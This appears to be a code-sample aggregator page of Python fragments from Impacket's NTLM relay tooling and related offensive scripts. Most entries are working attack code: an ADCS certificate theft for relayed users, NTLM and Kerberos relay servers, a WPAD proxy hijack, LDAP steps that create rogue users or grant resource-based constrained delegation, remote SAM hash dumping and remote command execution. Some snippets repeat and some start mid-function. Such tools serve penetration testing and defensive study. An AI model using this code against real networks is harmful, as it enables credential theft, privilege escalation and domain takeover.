            LOG.info('Skipping user %s since attack was already performed' % self.username)
            return
        csr = self.generate_csr(key, self.username)
        csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+")
        LOG.info("CSR generated!")

        data = "Mode=newreq&CertRequest=%s&CertAttrib=CertificateTemplate:%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=" % (csr, self.config.template)

        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
            "Content-Type": "application/x-www-form-urlencoded",
            "Content-Length": len(data)
        }

        LOG.info("Getting certificate...")

        self.client.request("POST", "/certsrv/certfnsh.asp", body=data, headers=headers)
        ELEVATED.append(self.username)
        response = self.client.getresponse()

        if response.status != 200:
            LOG.error("Error getting certificate! Make sure you have entered valid certiface template.")
            return

        content = response.read()
        found = re.findall(r'location="certnew.cer\?ReqID=(.*?)&', content.decode())
        if len(found) == 0:
            LOG.error("Error obtaining certificate!")
            return

        certificate_id = found[0]

        self.client.request("GET", "/certsrv/certnew.cer?ReqID=" + certificate_id)
        response = self.client.getresponse()

        LOG.info("GOT CERTIFICATE!")
        certificate = response.read().decode()

        certificate_store = self.generate_pfx(key, certificate)
        LOG.info("Base64 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode()))
예제 #37
0
    def sendNegotiate(self, negotiateMessage):
        #Check if server wants auth
        self.session.request('GET', self.path)
        res = self.session.getresponse()
        res.read()
        if res.status != 401:
            LOG.info(
                'Status code returned: %d. Authentication does not seem required for URL'
                % res.status)
        try:
            if 'NTLM' not in res.getheader(
                    'WWW-Authenticate') and 'Negotiate' not in res.getheader(
                        'WWW-Authenticate'):
                LOG.error(
                    'NTLM Auth not offered by URL, offered protocols: %s' %
                    res.getheader('WWW-Authenticate'))
                return False
            if 'NTLM' in res.getheader('WWW-Authenticate'):
                self.authenticationMethod = "NTLM"
            elif 'Negotiate' in res.getheader('WWW-Authenticate'):
                self.authenticationMethod = "Negotiate"
        except (KeyError, TypeError):
            LOG.error('No authentication requested by the server for url %s' %
                      self.targetHost)
            return False

        #Negotiate auth
        negotiate = base64.b64encode(negotiateMessage).decode("ascii")
        headers = {
            'Authorization': '%s %s' % (self.authenticationMethod, negotiate)
        }
        self.session.request('GET', self.path, headers=headers)
        res = self.session.getresponse()
        res.read()
        try:
            serverChallengeBase64 = re.search(
                ('%s ([a-zA-Z0-9+/]+={0,2})' % self.authenticationMethod),
                res.getheader('WWW-Authenticate')).group(1)
            serverChallenge = base64.b64decode(serverChallengeBase64)
            challenge = NTLMAuthChallenge()
            challenge.fromString(serverChallenge)
            return challenge
        except (IndexError, KeyError, AttributeError):
            LOG.error('No NTLM challenge returned from server')
            return False
예제 #38
0
    def run(self):

        if self.config.listeningPort:
            rawport = self.config.listeningPort
        else:
            rawport = 6666
            
        LOG.info("Setting up RAW Server on port " + str(rawport))            

        # changed to read from the interfaceIP set in the configuration
        self.server = self.RAWServer((self.config.interfaceIp, rawport), self.RAWHandler, self.config)

        try:
             self.server.serve_forever()
        except KeyboardInterrupt:
             pass
        LOG.info('Shutting down RAW Server')
        self.server.server_close()
예제 #39
0
 def __init__(self, request, client_address, server):
     self.server = server
     self.protocol_version = 'HTTP/1.1'
     self.challengeMessage = None
     self.client = None
     self.machineAccount = None
     self.machineHashes = None
     self.domainIp = None
     self.authUser = None
     self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; return "PROXY %s:80; DIRECT";} '
     LOG.info(
         "HTTPD: Received connection from %s, prompting for authentication",
         client_address[0])
     try:
         SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(
             self, request, client_address, server)
     except Exception as e:
         LOG.error(str(e))
         LOG.debug(traceback.format_exc())
예제 #40
0
        def do_PROPFIND(self):
            proxy = False
            if (".jpg" in self.path) or (".JPG" in self.path):
                content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/image.JPG/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>image.JPG</D:displayname><D:getcontentlength>4456</D:getcontentlength><D:getcontenttype>image/jpeg</D:getcontenttype><D:getetag>4ebabfcee4364434dacb043986abfffe</D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"""
            else:
                content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>a</D:displayname><D:getcontentlength></D:getcontentlength><D:getcontenttype></D:getcontenttype><D:getetag></D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype><D:collection></D:collection></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"""

            messageType = 0
            if PY2:
                autorizationHeader = self.headers.getheader('Authorization')
            else:
                autorizationHeader = self.headers.get('Authorization')
            if autorizationHeader is None:
                self.do_AUTHHEAD(message=b'Negotiate')
                return
            else:
                auth_header = autorizationHeader
                try:
                    _, blob = auth_header.split('Negotiate')
                    token = base64.b64decode(blob.strip())
                except:
                    self.do_AUTHHEAD(message=b'Negotiate', proxy=proxy)
                    return

            if b'NTLMSSP' in token:
                LOG.info(
                    'HTTPD: Client %s is using NTLM authentication instead of Kerberos'
                    % self.client_address[0])
                return
            # If you're looking for the magic, it's in lib/utils/kerberos.py
            authdata = get_kerberos_loot(token, self.server.config)

            # If we are here, it was succesful

            # Are we in attack mode? If so, launch attack against all targets
            if self.server.config.mode == 'ATTACK':
                self.do_attack(authdata)

            self.send_response(207, "Multi-Status")
            self.send_header('Content-Type', 'application/xml')
            self.send_header('Content-Length', str(len(content)))
            self.end_headers()
            self.wfile.write(content)
예제 #41
0
    def addUser(self, parent, domainDumper):
        """
        Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can
        also be an OU or other container where we have write privileges
        """
        global alreadyEscalated
        if alreadyEscalated:
            LOG.error('New user already added. Refusing to add another')
            return

        # Random password
        newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))

        # Random username
        newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10))
        newUserDn = 'CN=%s,%s' % (newUser, parent)
        ucd = {
            'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root,
            'distinguishedName': newUserDn,
            'cn': newUser,
            'sn': newUser,
            'givenName': newUser,
            'displayName': newUser,
            'name': newUser,
            'userAccountControl': 512,
            'accountExpires': '0',
            'sAMAccountName': newUser,
            'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
        }
        LOG.info('Attempting to create user in: %s' % parent)
        res = self.client.add(newUserDn, ['top','person','organizationalPerson','user'], ucd)
        if not res:
            # Adding users requires LDAPS
            if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
                LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.')
            else:
                LOG.error('Failed to add a new user: %s' % str(self.client.result))
            return False
        else:
            LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword))

            # Return the DN
            return newUserDn
예제 #42
0
    def wrapClientConnection(self, cert='/tmp/impacket.crt'):
        # Create a context, we don't really care about the SSL/TLS
        # versions used since it is only intended for local use and thus
        # doesn't have to be super-secure
        ctx = SSL.Context(SSL.SSLv23_METHOD)
        try:
            ctx.use_privatekey_file(cert)
            ctx.use_certificate_file(cert)
        except SSL.Error:
            LOG.info('SSL requested - generating self-signed certificate in /tmp/impacket.crt')
            generateImpacketCert(cert)
            ctx.use_privatekey_file(cert)
            ctx.use_certificate_file(cert)

        sslSocket = SSL.Connection(ctx, self.socksSocket)
        sslSocket.set_accept_state()

        # Now set this property back to the SSL socket instead of the regular one
        self.socksSocket = sslSocket
예제 #43
0
    def addUser(self, parent, domainDumper):
        """
        Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can
        also be an OU or other container where we have write privileges
        """
        global alreadyEscalated
        if alreadyEscalated:
            LOG.error('New user already added. Refusing to add another')
            return

        # Random password
        newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))

        # Random username
        newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10))
        newUserDn = 'CN=%s,%s' % (newUser, parent)
        ucd = {
            'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root,
            'distinguishedName': newUserDn,
            'cn': newUser,
            'sn': newUser,
            'givenName': newUser,
            'displayName': newUser,
            'name': newUser,
            'userAccountControl': 512,
            'accountExpires': '0',
            'sAMAccountName': newUser,
            'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
        }
        LOG.info('Attempting to create user in: %s', parent)
        res = self.client.add(newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd)
        if not res:
            # Adding users requires LDAPS
            if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
                LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.')
            else:
                LOG.error('Failed to add a new user: %s' % str(self.client.result))
            return False
        else:
            LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword))

            # Return the DN
            return newUserDn
예제 #44
0
    def wrapClientConnection(self, cert='/tmp/impacket.crt'):
        # Create a context, we don't really care about the SSL/TLS
        # versions used since it is only intended for local use and thus
        # doesn't have to be super-secure
        ctx = SSL.Context(SSL.SSLv23_METHOD)
        try:
            ctx.use_privatekey_file(cert)
            ctx.use_certificate_file(cert)
        except SSL.Error:
            LOG.info('SSL requested - generating self-signed certificate in /tmp/impacket.crt')
            generateImpacketCert(cert)
            ctx.use_privatekey_file(cert)
            ctx.use_certificate_file(cert)

        sslSocket = SSL.Connection(ctx, self.socksSocket)
        sslSocket.set_accept_state()

        # Now set this property back to the SSL socket instead of the regular one
        self.socksSocket = sslSocket
예제 #45
0
    def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus=False)
        if self.config.mode.upper() == 'REFLECTION':
            self.targetprocessor = TargetsProcessor(
                singleTarget='SMB://%s:445/' % connData['ClientIP'])

        #TODO: Check if a cache is better because there is no way to know which target was selected for this victim
        # except for relying on the targetprocessor selecting the same target unless a relay was already done
        self.target = self.targetprocessor.getTarget()

        LOG.info(
            "SMBD-%s: Received connection from %s, attacking target %s://%s" %
            (connId, connData['ClientIP'], self.target.scheme,
             self.target.netloc))

        try:
            if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0:
                extSec = False
            else:
                if self.config.mode.upper() == 'REFLECTION':
                    # Force standard security when doing reflection
                    LOG.debug("Downgrading to standard security")
                    extSec = False
                    recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
                else:
                    extSec = True

            #Init the correct client for our target
            client = self.init_client(extSec)

        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" %
                      (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)

        else:
            connData['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData(connId, connData)

        return self.origSmbComNegotiate(connId, smbServer, SMBCommand,
                                        recvPacket)
예제 #46
0
 def openSvcManager(self):
     LOG.info("Opening SVCManager on %s....." %
              self.connection.getRemoteHost())
     # Setup up a DCE SMBTransport with the connection already in place
     self._rpctransport = transport.SMBTransport(
         self.connection.getRemoteHost(),
         self.connection.getRemoteHost(),
         filename=r'\svcctl',
         smb_connection=self.connection)
     self.rpcsvc = self._rpctransport.get_dce_rpc()
     self.rpcsvc.connect()
     self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
     try:
         resp = scmr.hROpenSCManagerW(self.rpcsvc)
     except:
         LOG.critical("Error opening SVCManager on %s....." %
                      self.connection.getRemoteHost())
         raise Exception('Unable to open SVCManager')
     else:
         return resp['lpScHandle']
예제 #47
0
    def __init__(self,
                 server_address=('0.0.0.0', 1080),
                 handler_class=SocksRequestHandler):
        LOG.info('SOCKS proxy started. Listening at port %d',
                 server_address[1])

        self.activeRelays = {}
        self.socksPlugins = {}
        SocketServer.TCPServer.allow_reuse_address = True
        SocketServer.TCPServer.__init__(self, server_address, handler_class)

        # Let's register the socksplugins plugins we have
        from impacket.examples.ntlmrelayx.servers.socksplugins import SOCKS_RELAYS

        for relay in SOCKS_RELAYS:
            LOG.info('Plugin %s loaded..' % relay.PLUGIN_NAME)
            self.socksPlugins[relay.getProtocolPort()] = relay

        # Let's create a timer to keep the connections up.
        self.__timer = RepeatedTimer(300.0, keepAliveTimer, self)
    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
            auth_data = respToken2['ResponseToken']
        else:
            auth_data = authenticateMessageBlob

        self.session.sendBindType3(auth_data)

        try:
            req = DummyOp()
            self.session.request(req)
        except DCERPCException as e:
            if 'nca_s_op_rng_error' in str(e) or 'RPC_E_INVALID_HEADER' in str(e):
                return None, STATUS_SUCCESS
            elif 'rpc_s_access_denied' in str(e):
                return None, STATUS_ACCESS_DENIED
            else:
                LOG.info("Unexpected rpc code received from %s: %s" % (self.stringbinding, str(e)))
                return None, STATUS_ACCESS_DENIED
예제 #49
0
    def getShares(self):
        # Setup up a DCE SMBTransport with the connection already in place
        LOG.info("Requesting shares on %s....." %
                 (self.connection.getRemoteHost()))
        try:
            self._rpctransport = transport.SMBTransport(
                self.connection.getRemoteHost(),
                self.connection.getRemoteHost(),
                filename=r'\srvsvc',
                smb_connection=self.connection)
            dce_srvs = self._rpctransport.get_dce_rpc()
            dce_srvs.connect()

            dce_srvs.bind(srvs.MSRPC_UUID_SRVS)
            resp = srvs.hNetrShareEnum(dce_srvs, 1)
            return resp['InfoStruct']['ShareInfo']['Level1']
        except:
            LOG.critical("Error requesting shares on %s, aborting....." %
                         (self.connection.getRemoteHost()))
            raise
예제 #50
0
    def enumerateShares(self):
        '''

        :return:
        '''

        shares = self.shell.do_shares("shares")
        shares_list = []
        logging.info("Listing Shares")
        logging.getLogger().level = logging.DEBUG
        for i in range(len(shares)):
            share = shares[i]['shi1_netname'][:-1]
            logging.debug(share)
            if share not in self.ignore_share:
                if self.smbClient.isGuestSession() > 0:
                    if "$" not in share:
                        shares_list.append(share)
                else:
                    shares_list.append(share)

        LOG.level = logging.INFO
        print("\n")

        if len(shares_list) != 0:
            for share in shares_list:
                try:
                    LOG.info("Listing File And Directory For Share %s \n" %
                             share)
                    self.shell.do_use(share)
                    directory_list = self.shell.do_ls('')
                    print("\n")
                    if "$" not in share:
                        self.recursive_dirlist(directory_list, share)

                except Exception as e:
                    LOG.level = logging.DEBUG
                    if logging.getLogger().level == logging.DEBUG:
                        import traceback
                        #traceback.print_exc()
                    logging.error(str(e))
                    print("\n")
예제 #51
0
def keepAliveTimer(server):
    LOG.debug('KeepAlive Timer reached. Updating connections')

    for target in server.activeRelays.iterkeys():
        for port in server.activeRelays[target].iterkeys():
            # Now cycle thru the users
            for user in server.activeRelays[target][port].iterkeys():
                if user != 'data':
                    # Let's call the keepAlive method for the handler to keep the connection alive
                    if server.activeRelays[target][port][user][
                            'inUse'] is False:
                        LOG.debug('Sending keep alive to %s@%s:%s' %
                                  (user, target, port))
                        server.socksPlugins[port].keepAlive(
                            server.activeRelays[target][port][user]['client'])
                    else:
                        LOG.debug(
                            'Skipping %s@%s:%s since it\'s being used at the moment'
                            % (user, target, port))

    # Let's parse new connections if available
    while activeConnections.empty() is not True:
        target, port, userName, smb, data = activeConnections.get()
        LOG.debug('SOCKS: Adding %s:%s to list of relayConnections' %
                  (target, port))
        # ToDo: Careful. Dicts are not thread safe right?
        if server.activeRelays.has_key(target) is not True:
            server.activeRelays[target] = {}
        if server.activeRelays[target].has_key(port) is not True:
            server.activeRelays[target][port] = {}

        if server.activeRelays[target][port].has_key(userName) is not True:
            server.activeRelays[target][port][userName] = {}
            server.activeRelays[target][port][userName]['client'] = smb
            server.activeRelays[target][port][userName]['inUse'] = False
            server.activeRelays[target][port]['data'] = data
        else:
            LOG.info(
                'Relay connection for %s at %s(%d) already exists. Discarding'
                % userName, target, port)
            smb.close_session()
예제 #52
0
 def findWritableShare(self, shares):
     # Check we can write a file on the shares, stop in the first one
     writeableShare = None
     for i in shares['Buffer']:
         if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL:
            share = i['shi1_netname'][:-1]
            tid = 0
            try:
                tid = self.connection.connectTree(share)
                self.connection.openFile(tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
            except:
                LOG.critical("share '%s' is not writable." % share)
                pass
            else:
                LOG.info('Found writable share %s' % share)
                writeableShare = str(share)
                break
            finally:
                if tid != 0:
                    self.connection.disconnectTree(tid)
     return writeableShare
예제 #53
0
 def findWritableShare(self, shares):
     # Check we can write a file on the shares, stop in the first one
     writeableShare = None
     for i in shares['Buffer']:
         if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL:
            share = i['shi1_netname'][:-1]
            tid = 0
            try:
                tid = self.connection.connectTree(share)
                self.connection.openFile(tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
            except:
                LOG.critical("share '%s' is not writable." % share)
                pass
            else:
                LOG.info('Found writable share %s' % share)
                writeableShare = str(share)
                break
            finally:
                if tid != 0:
                    self.connection.disconnectTree(tid)
     return writeableShare
예제 #54
0
 def writeRestoreData(self, restoredata, domaindn):
     output = {}
     domain = re.sub(',DC=',
                     '.',
                     domaindn[domaindn.find('DC='):],
                     flags=re.I)[3:]
     output['config'] = {
         'server': self.client.server.host,
         'domain': domain
     }
     output['history'] = [{
         'operation': 'add_domain_sync',
         'data': restoredata,
         'contextuser': self.username
     }]
     now = datetime.datetime.now()
     filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S")
     # Save the json to file
     with codecs.open(filename, 'w', 'utf-8') as outfile:
         json.dump(output, outfile)
     LOG.info('Saved restore state to %s', filename)
예제 #55
0
 def run(self):
     LOG.info("Running Gobuster Against The Server ..")
     # os.system("gobuster  dir -t 50 -w %s --url %s:%s" % (self.wordlist,self.target,self.port))
     output = subprocess.Popen([
         "gobuster", "dir", "-t",
         "%d" % self.thread, "-w",
         "%s" % self.wordlist, "--url",
         "%s:%s" % (self.target, self.port)
     ],
                               stdout=subprocess.PIPE).communicate()[0]
     raw_list = str(output, 'UTF-8').split('\n')
     directory_list = []
     for raw in raw_list:
         if "Status: 301" in raw or "Status: 200" in raw or "Status: 403" in raw:
             directory_list.append(raw)
     if len(directory_list) != 0:
         for directory in directory_list:
             LOG.level = logging.DEBUG
             LOG.debug(directory)
     else:
         LOG.info("BadLuck No Directory Found. Try Another Wordlist ...")
예제 #56
0
        def __init__(self, request, client_address, server):
            self.server = server
            self.challengeMessage = None
            self.target = None
            self.client = None
            self.machineAccount = None
            self.machineHashes = None
            self.domainIp = None
            self.authUser = None

            if self.server.config.target is None:
                # Reflection mode, defaults to SMB at the target, for now
                self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])
            self.target = self.server.config.target.getTarget()
            if self.target is None:
                LOG.info("RAW: Received connection from %s, but there are no more targets left!" % client_address[0])
                return

            LOG.info("RAW: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc))

            super().__init__(request, client_address, server)
예제 #57
0
파일: tds.py 프로젝트: CoolOppo/impacket
    def printReplies(self):
        for keys in self.replies.keys():
            for i, key in enumerate(self.replies[keys]):
                if key['TokenType'] == TDS_ERROR_TOKEN:
                    error =  "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))                                      
                    self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le')))
                    LOG.error(error)

                elif key['TokenType'] == TDS_INFO_TOKEN:
                    LOG.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')))

                elif key['TokenType'] == TDS_LOGINACK_TOKEN:
                    LOG.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow']))

                elif key['TokenType'] == TDS_ENVCHANGE_TOKEN:
                    if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
                        record = TDS_ENVCHANGE_VARCHAR(key['Data'])
                        if record['OldValue'] == '':
                            record['OldValue'] = 'None'.encode('utf-16le')
                        elif record['NewValue'] == '':
                            record['NewValue'] = 'None'.encode('utf-16le')
                        if key['Type'] == TDS_ENVCHANGE_DATABASE:
                            _type = 'DATABASE'
                        elif key['Type'] == TDS_ENVCHANGE_LANGUAGE:
                            _type = 'LANGUAGE'
                        elif key['Type'] == TDS_ENVCHANGE_CHARSET:
                            _type = 'CHARSET'
                        elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE:
                            _type = 'PACKETSIZE'
                        else:
                            _type = "%d" % key['Type']                 
                        LOG.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le')))
예제 #58
0
    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                LOG.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if  self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                # Something went wrong, most probably we don't have access as admin. aborting
                LOG.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.config.command)
                    LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print self.__answerTMP.decode(self.config.encoding, 'replace')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
                    LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                LOG.error(str(e))
예제 #59
0
 def __init__(self,request, client_address, server):
     self.server = server
     self.protocol_version = 'HTTP/1.1'
     self.challengeMessage = None
     self.target = None
     self.client = None
     self.machineAccount = None
     self.machineHashes = None
     self.domainIp = None
     self.authUser = None
     self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; return "PROXY %s:80; DIRECT";} '
     if self.server.config.mode != 'REDIRECT':
         if self.server.config.target is None:
             # Reflection mode, defaults to SMB at the target, for now
             self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])
         self.target = self.server.config.target.getTarget(self.server.config.randomtargets)
         LOG.info("HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc))
     try:
         SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)
     except Exception, e:
         LOG.error(str(e))
         LOG.debug(traceback.format_exc())
예제 #60
0
    def delegateAttack(self, usersam, targetsam, domainDumper):
        global delegatePerformed
        if targetsam in delegatePerformed:
            LOG.info('Delegate attack already performed for this computer, skipping')
            return

        if not usersam:
            usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
            self.config.escalateuser = usersam

        # Get escalate user sid
        result = self.getUserInfo(domainDumper, usersam)
        if not result:
            LOG.error('User to escalate does not exist!')
            return
        escalate_sid = str(result[1])

        # Get target computer DN
        result = self.getUserInfo(domainDumper, targetsam)
        if not result:
            LOG.error('Computer to modify does not exist! (wrong domain?)')
            return
        target_dn = result[0]

        self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
        targetuser = None
        for entry in self.client.response:
            if entry['type'] != 'searchResEntry':
                continue
            targetuser = entry
        if not targetuser:
            LOG.error('Could not query target user properties')
            return
        try:
            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
            LOG.debug('Currently allowed sids:')
            for ace in sd['Dacl'].aces:
                LOG.debug('    %s' % ace['Ace']['Sid'].formatCanonical())
        except IndexError:
            # Create DACL manually
            sd = create_empty_sd()
        sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
        self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
        if self.client.result['result'] == 0:
            LOG.info('Delegation rights modified succesfully!')
            LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam)
            delegatePerformed.append(targetsam)
        else:
            if self.client.result['result'] == 50:
                LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
            elif self.client.result['result'] == 19:
                LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
            else:
                LOG.error('The server returned an error: %s', self.client.result['message'])
        return